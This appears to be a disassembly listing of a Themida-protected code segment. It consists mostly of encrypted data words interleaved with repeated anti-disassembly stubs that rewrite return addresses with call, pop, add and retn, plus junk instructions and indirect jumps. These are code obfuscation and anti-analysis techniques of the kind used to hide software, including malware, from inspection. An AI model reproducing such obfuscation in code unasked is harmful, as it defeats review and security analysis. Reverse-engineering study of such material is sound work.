8D31006Ah, 61516C5h, 298A858Dh dd 8589061Ah, 61521D5h, 6A05C083h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 62FCC352h dd 0DF1CC020h, 22F19D8Bh, 0BB500615h, 8D9B86Ch, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 3149C352h, 1B335ACCh, 0CE85925h, 9F000000h dd 0C47FFB54h, 1E8E65AFh, 0F7B2E25h, 389h, 0F8BF0F00h dd 0ED95295Fh, 0E8061518h, 12h, 602DA7C1h, 0CC0308Ch, 35038AC6h dd 8BB0FBB7h, 0B5893F3Fh, 6151691h, 6A006A5Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F811C352h, 5BA1351Dh, 0B3FE7348h, 0C99D89D1h, 6A06150Dh dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 95FF2C7Fh, 6152679h, 0DE9h, 1B49D700h, 1A2861CBh dd 184E9C00h, 8D8D9E9Bh, 6189C15h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 75C35646h, 8145D2ECh, 9B1854D7h dd 0EB81667Ch, 0D1FF86E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 4AC35646h, 0EDBD8B57h, 8306150Ch, 152DB5BDh dd 850F0106h, 0D1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 33C35141h, 0DE9h, 0EDEACF00h, 78445C6Fh dd 9E11864h, 26A81C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 0EC35242h, 0F47C3AC0h, 3C86BB44h, 8960777Fh dd 152F8D85h, 89F58006h, 52505061h, 0CE9h, 9D2EAF00h, 0B87D3ACh dd 0EA722CE7h, 0E8310F12h, 0Eh, 5E36F3CAh, 0DE16E434h dd 0D723602Ah, 8F0F107Ah, 0 ; --------------------------------------------------------------------------- pop edi pop edx pop eax mov [esp], eax mov edi, [ebp+6152FE9h] call dword ptr [ebp+6151D4Dh] push 0 push eax call sub_5CC395 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC395 proc near ; CODE XREF: Themida_:005CC38Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5CC395 endp ; --------------------------------------------------------------------------- db 11h, 12h, 0A2h dd 0DDA5DD8Eh, 8166488Ah, 8BE91EEFh, 15160DBDh ; --------------------------------------------------------------------------- push es loc_5CC3B9: ; DATA XREF: Themida_:0057BC04o jmp loc_5CD1BD ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 61A2994h push 0 push edx call sub_5CC3D5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC3D5 proc near ; CODE XREF: Themida_:005CC3CDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5CC3D5 endp ; --------------------------------------------------------------------------- db 49h, 5Dh, 0B5h dd 6A6EFC33h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0BDC4C351h, 101DBD89h, 858D0615h dd 61888F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 81C35747h, 8BD88B66h, 152221BDh, 4895006h, 11E824h dd 16690000h, 90FD5449h, 0FFC7382Eh, 0FC0EF1C1h, 5BD37EBBh dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 2515C351h, 7A3C1953h dd 258964F8h, 0 ; --------------------------------------------------------------------------- movzx edi, cx inc dword ptr [ebp+6151535h] push 0 push ebp call sub_5CC498 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC498 proc near ; CODE XREF: Themida_:005CC490p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5CC498 endp ; --------------------------------------------------------------------------- dd 0AB7544B7h, 0F57347Fh, 28Ah, 6AD88B00h, 51006AFFh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 6F1D5A7Eh, 0E003C70Ch, 0A19D03D5h, 8B06152Dh, 150AD5BDh dd 49B5FF06h, 6A06152Ah, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 5F45C355h, 660DF9FDh dd 68F0Fh, 0BD890000h, 6152729h, 860Fh, 95FF0000h, 61508BDh dd 152E9h, 8D8B6000h, 6150CA1h, 68B0Fh, 95290000h, 6150A21h dd 0E800B061h, 7, 2C1391B3h, 0E9F33B1Eh, 0Bh, 7A97424Eh dd 0A9760CD0h, 5FDEC991h, 71E470E6h, 613CF98Bh, 111830Fh dd 95310000h, 6151D51h, 0E8C8B60Fh, 13h, 1FE9E589h, 18B0D299h dd 0DE068E5Dh, 42CBE61Ah, 89DEDFF2h, 15118985h, 6BA5B06h dd 0E9000000h, 5, 886CBD13h, 0E9C18BC2h, 0Bh, 5BC517AAh dd 0EBFFD1ACh, 0C121D3A6h, 0E95304E8h, 10h, 8A81CE76h dd 0D4831CE4h, 0D81DBC9h, 0E60903FEh, 0E2F7665Bh, 7E8h dd 99066300h, 98EB699Bh, 0C82B5FF9h, 2DA19D89h, 0D18B0615h dd 33C99D8Bh, 88E90615h, 2B000000h, 1523359Dh, 4C858B06h dd 0BB505F4Ch, 1DBB1735h, 8B07C083h, 150465BDh, 0C08306h dd 3BFEBF0Fh, 0E830FD0h, 60000000h, 0E961F18Bh, 57h, 0ABCF8166h dd 0FF8D8BAAh, 89FFFFFFh, 1505D58Dh, 1E18306h, 3D840Fh dd 8D890000h, 6150BE9h, 0FFFFA583h, 66FEFFFFh, 89D77FBBh dd 5F4C4C95h, 0DE96050h, 0A6000000h, 0C3B5112h, 0B2BC50F3h dd 65AD161h, 61DEB70Fh, 4890Fh, 0BB660000h, 0E990A8h, 8D000000h dd 19A5E9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 74238F26h, 27E64E02h, 6A148Bh, 0EDB58960h dd 0F061518h, 588h, 6294BA00h, 0FF6168EEh, 152E2195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 5B0330E5h, 76D22F72h, 0E92B927h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4E382FC3h dd 765127DCh, 19E9BD89h, 0E1830615h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DB810E1Ch dd 6DC250A2h, 0B8FCh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 9B6E3DC3h, 0C19D8B84h dd 2B06152Ch, 152F2D9Dh, 0BA06h, 81660000h, 0AD7681DFh dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 12h, 83BB8F4Eh dd 38AAF125h, 779FD083h, 0CA09CF7Dh, 0D5FED93h, 88h, 8BDEBF0Fh dd 15272195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0FE86E03Eh, 8BB304C6h, 1504CD8Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0E6C2A9F9h, 0A139F3A3h, 0B531DF77h, 6152F05h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD8B5818h dd 615191Dh, 8E8h, 68C36900h, 5B165B57h, 5FFC8AC7h, 18A9BD83h dd 0F000615h, 6484h, 0E9BD8900h, 0B806150Ah, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5CC847 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CC847 proc near ; CODE XREF: Themida_:005CC83Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5CC847 endp ; --------------------------------------------------------------------------- align 4 dd 75E63C45h, 0E51BF325h, 20F18D29h, 8D8D0615h, 6154F9Eh dd 7018D89h, 0E1FF0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 66C35242h, 0BD08A6FEh, 15BD8303h, 61511h dd 47E840Fh, 0BB660000h, 0BD834EF2h, 6151115h, 88840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 2A61C350h, 15BD83F5h, 3061511h dd 427860Fh, 0F88B0000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 1C30983Bh, 9D89DC2Fh dd 6152DCDh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 9258C351h, 81E4BBD2h dd 5C4EEBD7h, 819D8B00h, 80061502h, 6A04E1h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EFEB36C3h dd 820F23BBh, 8, 4D950952h, 5B061510h, 10E8h, 0D11FB100h dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 27BF6681h, 0C90A5BB9h dd 189840Fh, 9D8B0000h, 61502E5h, 249D858Bh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0E8C618C3h, 9, 3D3D9C25h, 6B2F4154h, 7BDB8160h, 5B316896h dd 14E9h, 6846100h, 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h dd 0B585337Bh, 0E8061519h, 6, 67C67310h, 6E81530h, 8B000000h dd 0AC95237Eh, 0B6F7810Bh, 5B30F040h, 5250905Bh, 0FDA8B66h dd 5AD98A31h, 9BB35058h, 11958990h, 8B06150Ah, 1508A9BDh dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FA37C351h, 0C7228A2Fh, 0F88BE4C9h dd 18EDBD2Bh, 9D8B0615h, 61525C1h, 4E8h, 1F03FF00h, 0D98B6600h dd 8B5B5350h, 52042444h, 66008B5Fh, 4489D88Bh, 0F5580424h dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 665275C3h, 314EE7CDh, 893C17CBh dd 18BF9985h, 75BD2306h, 0F06150Ah, 28Dh, 0E9F0B700h, 1D7h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h dd 45EA57E1h, 65FC80Eh, 12E8h, 0BBED7E00h, 0DC12D329h dd 4D6C90CBh, 7DAB23D4h, 5FE89F1Bh, 0A9958B60h, 0E9061528h dd 7, 0B58C5342h, 6126406Ch, 0C88B6660h, 20CD8D89h, 8B610615h dd 18BF9185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0F2BC1064h, 95BD8B89h, 0E9061511h dd 0Dh, 5FFEB66h, 70449479h, 13E31FB3h, 0E19D8B06h, 0C7061501h dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 3F67CBE1h, 8BE578FBh, 18BF95B5h dd 0D840F06h, 0E8000000h, 7, 3D2E8F7Bh, 5FA99707h, 0C45858Bh dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0BA99B7C3h, 0E215F8D9h, 890689CEh, 151CADBDh dd 9D858B06h, 23061524h, 1503B5BDh, 4468906h, 66F98B66h dd 6650F98Bh, 3489FE8Bh, 9E824h, 0CDB90000h, 3728F4F0h dd 0F1DF3A7h, 0FF5BDEBFh, 18BF91B5h, 0E99D8906h, 68061517h dd 7C373FD6h, 13E8h, 0D49B9E00h, 1D6DE361h, 0EA924018h dd 28516132h, 3C99616Ah, 5FFE8B66h, 29243481h, 0F7C283Ch dd 681h, 75BD8900h, 66061516h, 0B11FDB81h, 0BF99858Dh dd 95890618h, 6151DF1h, 870F50h, 89000000h, 8B602404h dd 0F1BD8BD1h, 61061519h, 0FDB58B60h, 0F9061510h, 0AD95FF61h dd 6A06150Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 77A7C351h, 58196715h, 61DF8B66h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h dd 5F5851B1h, 85C73716h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 19C35545h, 0ED4C0499h, 2BD2E2F1h dd 99BD83F5h, 618BFh, 17840Fh, 8D0F0000h, 6, 1A35BD23h dd 21E90615h, 8B000000h, 15017D9Dh, 0C305006h, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 25C35545h, 0E08C30A8h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h, 65D3AA5Ah dd 0B04454AAh, 0F5051DAh, 8Dh, 835B5B00h, 151115BDh, 850F0306h dd 3D7h, 0DC40D781h, 0BD831521h, 618BF99h, 0C4840F00h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 1FF1C350h, 0ED5FB511h, 6E8D2h dd 2F580000h, 18422978h, 1A1D9D8Bh, 665F0615h, 0FFB31BBBh dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0F971D46Bh, 95FFCC09h, 61510E1h dd 0B58BDF8Bh, 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 6DC35141h, 0F4543F3h, 6C7FFBFh, 10001h dd 2E4866BFh, 50A8B36Bh, 0A49CBB66h, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 41C4C357h, 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C4A2C356h dd 0D9B2E4A0h, 0A195FF40h, 89061506h, 151CC5B5h, 8DB58B06h dd 0F0618BFh, 38Ah, 86CB8000h, 59858Bh, 0FA8B0615h, 0C48689h dd 0BD8B0000h, 6150879h, 958BFA8Ah, 6152721h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D8C35343h, 3E3613D3h dd 6199DC48h, 5840Fh, 7FBF0000h, 830674A7h, 0BB6604C2h dd 50898BEFh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0FF49D46h, 0C8Bh, 7E900h, 0B5BD0000h dd 0F3413013h, 58858D77h, 6A0618D4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 837BC351h dd 909B1A65h, 44B0BBDCh, 8689705Ch, 0B8h, 1781BD03h, 6A0615h dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8B3EA8C3h, 8A0F51FEh, 6, 8D0Fh dd 0FF5B0000h, 151D4D95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 7F37BF93h dd 0E8506A33h, 0Fh, 0F1994CD0h, 0CCBC4AF6h, 5951A077h dd 0E9909A6Bh, 0Ch, 79E63817h, 0A2C674F7h, 0D0FD14BAh dd 2434895Bh, 0CE9h, 92CF2000h, 4E1BC64Fh, 6398945Dh, 99B5FFE4h dd 290618BFh, 15175995h, 2995FF06h, 83061507h, 150065BDh dd 840F0006h, 55h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h dd 0D7C35646h, 7A823285h, 22358D89h, 0E9960615h, 9, 0ABA2F1ADh dd 53FB3832h, 52505017h, 7E950h, 0D71D0000h, 0A70BC7C4h dd 310F5F07h, 5396585Ah, 880F60h, 61000000h, 99B5FF5Bh dd 8B0618BFh, 1505859Dh, 3995FF06h, 0F061504h, 0B5FFFAB7h dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 7BC35545h, 0ABB7F2EBh, 0DCD95FFh, 0BD830615h, 615285Dh dd 79840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0B775C352h, 8B15ABBBh dd 15284985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 820F78B4h, 7, 1850Fh, 0E8F80000h dd 10h, 32F77749h, 0E3498F2Ch, 0C00DDB15h, 394F2B03h, 16C9B529h dd 0C65B0615h, 5E90000h, 5A000000h, 0FAD0B85Fh, 23F585C7h dd 615h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 71597C3h, 153F01FFh, 0E97F151Fh dd 0FFFFF327h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0CC35747h, 0C34CB249h, 918C6F9Dh, 0FE8B6636h, 0C380C18Bh db 7Eh ; --------------------------------------------------------------------------- loc_5CD1BD: ; CODE XREF: Themida_:loc_5CC3B9j lea eax, [ebp+615279Dh] push 0 push edi call sub_5CD1CE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD1CE proc near ; CODE XREF: Themida_:005CD1C6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5CD1CE endp ; --------------------------------------------------------------------------- dw 6BE8h ; --------------------------------------------------------------------------- sbb edi, ebp pop ebp inc ecx xchg eax, esi mov edi, [ebp+6150C5Dh] push eax mov bx, si mov [esp], eax add [ebp+615263Dh], edx push 0 push 0 push eax call sub_5CD205 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD205 proc near ; CODE XREF: Themida_:005CD1FDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5CD205 endp ; --------------------------------------------------------------------------- db 4Ch, 6Ah, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CD223 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD223 proc near ; CODE XREF: Themida_:005CD21Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5CD223 endp ; --------------------------------------------------------------------------- db 0EDh dd 0DDDB0591h, 0DE9h, 278A0200h, 6328507Fh, 1CCE2B34h dd 858DD06Dh, 61A39CDh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 90C35646h, 8D89B291h, 61525FDh, 6A05C083h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 5E30C351h, 519D8BCEh, 60061501h, 23D9D01h dd 800F0615h, 6, 25ED9589h, 50610615h, 66605250h, 850FDF8Bh dd 0 dd 50310F61h, 11E3BB52h, 310F2FB7h, 6E8h, 23CE0800h, 5B8FABE5h dd 585A585Ah, 80240489h, 6AABDFh, 160D9D8Bh, 6A0615h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FAC35242h, 25439360h dd 9EB3C1B1h, 267995FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 4F1F2FC3h, 0F89B82EDh dd 0FBEDC77h, 681h, 85BD2B00h, 8D061508h, 189C158Dh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8B42FA80h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5CBF14C3h, 50DB3234h, 11E9h, 584A4A00h dd 0D352302Eh, 730D342Dh, 73306ADh, 0BD8311FDh, 6152DB5h dd 4D850F01h, 8B000000h, 1505C9BDh, 6A026A06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0EE78C356h, 5283F2DEh, 66F88BB4h, 5250D98Bh, 6810Fh dd 8E0F0000h, 0 ; --------------------------------------------------------------------------- pop ebx mov [esp], eax call dword ptr [ebp+6151D4Dh] mov [ebp+6150101h], ebx jmp loc_5CE193 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 61A39D7h push 0 push edx call sub_5CD418 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD418 proc near ; CODE XREF: Themida_:005CD410p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CD418 endp ; --------------------------------------------------------------------------- aaa dec edx push esi xor edi, [ebp+61512A5h] pop ebx push 0 push ebp call sub_5CD43D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD43D proc near ; CODE XREF: Themida_:005CD435p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5CD43D endp ; --------------------------------------------------------------------------- mov edx, 8D8E601Fh test edi, ecx mov [eax], bl push es push 0 push edi call sub_5CD462 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD462 proc near ; CODE XREF: Themida_:005CD45Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CD462 endp ; --------------------------------------------------------------------------- dw 0B74Ch dd 800F50F0h, 2, 48990B3h, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0FBEEFFAEh dd 0FA4F279h, 0FF64DEBFh, 35h, 0DBD8B00h, 64061510h, 2589h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 51537DC3h, 667718AAh, 0DCA9EF81h, 7D958B60h dd 66061527h, 6100EDB8h, 153585FFh, 0D7810615h, 3B7106C6h dd 9D8BFF6Ah, 615233Dh, 33A9B5FFh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0D969C9C3h dd 0FE8B778Dh, 8BD95FFh, 0F6E90615h, 66000000h, 0B0D88Bh dd 231D8D29h, 70E60615h, 7E8h, 467A2500h, 0CFC9B029h, 5FFB8B66h dd 9D8971E4h, 6151D2Dh, 830F613Ch, 0C9h, 0FDA8B66h, 0FB8BC8B6h dd 6BAh, 8B2BB300h, 0ADDB80C1h, 104E8C1h, 151081BDh, 0E2F76606h dd 0CAD9D89h, 0C82B0615h, 6890Fh, 0BD8B0000h, 615179Dh dd 0B589D18Bh, 6152471h, 88E9h, 0CD9D8B00h, 8B061524h dd 47554C85h, 3D9D8B49h, 8306152Bh, 816607C0h, 8331C5F7h dd 0CE900C0h, 6E000000h, 0B927F45Dh, 0A8440C9Eh, 3BF5F839h dd 14830FD0h, 57000000h, 0F95BDD8Ah, 48E9h, 48B0F00h, 66000000h dd 8BE509BBh, 0FFFFFF8Dh, 9D9D8BFFh, 83061526h, 840F01E1h dd 29h, 33E9BD8Bh, 0DA8B0615h, 0FFFFA583h, 0FFEFFFFh, 9589FEBFh dd 4947554Ch, 5318D89h, 0BD8B0615h, 6151A21h, 0E9h, 7BB58D00h dd 6A0619B4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 97F9C355h, 1DC2565Bh, 6A9C47h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 63C35242h dd 2CAD3158h, 2D019D8Bh, 9D890615h, 6150295h, 2E2195FFh dd 0F98B0615h, 0A459D8Bh, 20B90615h, 6A000010h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F05C357h, 0E183DFBFh, 699529FCh, 0FC061515h, 34158D89h dd 0B80615h, 8B000000h, 1528199Dh, 0BA06h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0B48686C3h, 5A9B54FFh, 0B5892108h, 61533C1h, 819D8Bh dd 33AD0615h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DB3B86C3h dd 601D4FBh, 6A46DC1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 8EADC350h, 0CDC98ED6h dd 0FA8AD880h, 880Dh, 3850F00h, 57000000h, 95015FF5h, 61533E9h dd 2721958Bh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B3A6CC3h, 152259BDh, 259D0306h dd 8B061529h, 1504CD8Dh, 0AD9D8B06h, 5006152Dh, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2C63A019h dd 0F3DADFCEh, 81503046h, 3286A2D3h, 8D895F15h, 615168Dh dd 69BD3357h, 5F061518h, 18A9BD83h, 0F000615h, 7984h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0A3F5D5C3h, 0DE908h, 0DC4F0000h, 7D3D5CD6h, 0FC786CCDh dd 0B84D88FDh, 0 ; --------------------------------------------------------------------------- jo $+6 lea ecx, [ebp+6154F9Eh] mov [ebp+6152F2Dh], esi add bl, 0E5h jmp ecx ; --------------------------------------------------------------------------- push 0 push ecx call sub_5CD85A and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD85A proc near ; CODE XREF: Themida_:005CD852p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5CD85A endp ; --------------------------------------------------------------------------- lds esp, [ebp+6Ch] ror byte ptr [ecx+150FD9BDh], 1 push es mov ebx, [ebp+6152325h] cmp dword ptr [ebp+6151115h], 0 jz loc_5CDCD1 push 0 push edx call sub_5CD892 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD892 proc near ; CODE XREF: Themida_:005CD88Ap arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5CD892 endp ; --------------------------------------------------------------------------- dw 0C5BDh dd 932F3949h, 459D8BE0h, 8306152Bh, 151115BDh, 840F0106h dd 430h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 7DC35343h, 1115BD83h, 0F030615h, 3D186h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0CE7E1C51h, 5E1BB639h, 1A11BD8Bh, 6A600615h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 7616C357h, 17F5E43h, 66A423BFh, 66D09CBBh, 0BE9D98Ch dd 9E000000h, 37DEEDB3h, 4076958Dh, 8166AA40h, 805739D7h dd 0DE8A04E1h, 840FC90Ah, 103h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 8FC35545h, 0E960439Dh, 0Ch dd 507B9DB7h, 60611314h, 550A01F0h, 61F28B66h, 249D858Bh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 665D10C3h, 8533F88Bh, 61519B5h, 23D9D8Bh dd 66500615h, 895B97BBh, 6A2404h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 12C35040h, 0DAC255A9h, 7F571CF8h dd 68B0F60h, 89000000h, 150FF59Dh, 5D686106h, 0F6AF435h dd 1288h, 0DE900h, 9CD40000h, 7DCA1BC2h, 4EB9F724h, 819AC313h dd 36A22434h, 0DF816AEBh, 2ABB0A95h, 0DAD95FFh, 0BE90615h dd 56000000h, 4C13B1E7h, 62B365D2h, 8589CC7Dh, 618BF99h dd 0BE9h, 64D6F400h, 5939FBAEh, 75E2D203h, 1F1E9h, 6FD78100h dd 8B7DB71Eh, 18BF9185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 6BEEAF67h, 58BF30F1h dd 1F9B531h, 0C70615h, 18h, 9D895760h, 6151041h, 0B58B6158h dd 618BF95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 8C35040h, 667C2C59h, 0C45858Bh, 0F8560615h, 1595895Fh dd 8906150Ah, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 9C7A1B52h, 0ADBD8988h, 66061505h dd 858BD88Bh, 615249Dh, 0E83EBF66h, 6A044689h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 4854C353h, 880F9602h, 10h, 0AE8h, 15E92B00h, 9160C899h dd 5BF00BA2h, 7E850h, 4F990000h, 529DACC7h, 7ABF661Eh dd 6A965BAEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 8301C355h, 4AC79DABh, 9529F453h dd 61515E1h, 0BF91B5FFh, 81660618h, 68EE86CBh, 9DFDB84Fh dd 481DC8Ah, 214BB024h, 56006A62h, 3E8h, 0C35E2000h, 2474895Eh 